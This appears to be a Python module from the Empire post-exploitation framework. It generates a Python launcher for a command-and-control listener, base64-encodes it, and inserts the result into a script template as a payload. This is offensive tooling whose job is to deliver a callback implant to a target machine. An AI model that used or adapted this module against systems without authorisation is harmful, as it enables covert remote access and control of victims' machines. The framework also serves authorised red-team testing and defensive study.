import base64

from empire.server.common.empire import MainMenu
from empire.server.core.exceptions import ModuleValidationException
from empire.server.core.module_models import EmpireModule
from empire.server.core.module_service import auto_get_source


class Module:
    @staticmethod
    @auto_get_source
    def generate(
        main_menu: MainMenu,
        module: EmpireModule,
        params: dict,
        obfuscate: bool = False,
        obfuscation_command: str = "",
        script: str = "",
    ):
        # extract all of our options
        listener_name = params["Listener"]
        user_agent = params["UserAgent"]
        safe_checks = params["SafeChecks"]

        # generate the launcher code
        launcher = main_menu.stagergenv2.generate_launcher(
            listener_name,
            language="python",
            user_agent=user_agent,
            safe_checks=safe_checks,
        )

        if launcher == "":
            raise ModuleValidationException("Error in launcher command generation.")

        base64_launcher = base64.b64encode(launcher.encode("UTF-8")).decode("UTF-8")
        return script.replace("{{ payload }}", base64_launcher)
